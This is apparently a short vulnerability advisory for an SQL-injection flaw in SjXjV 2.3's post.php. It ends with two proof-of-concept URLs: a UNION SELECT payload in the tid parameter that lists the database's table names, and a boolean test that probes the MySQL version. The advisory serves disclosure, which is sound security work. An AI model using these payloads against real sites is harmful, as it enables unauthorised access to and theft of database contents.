source: https://www.securityfocus.com/bid/50426/info
SjXjV is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
SjXjV 2.3 is vulnerable; other versions may also be affected.
http://www.example.com/post.php?fid=41&tid=-51%20union%20select%201,2,3,4,5,6,7,8,group_concat%28table_name%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables+where+table_schema%20=database%28%29--
http://www.example.com/post.php?fid=41&tid=51 and substring(@@version,1,1)=5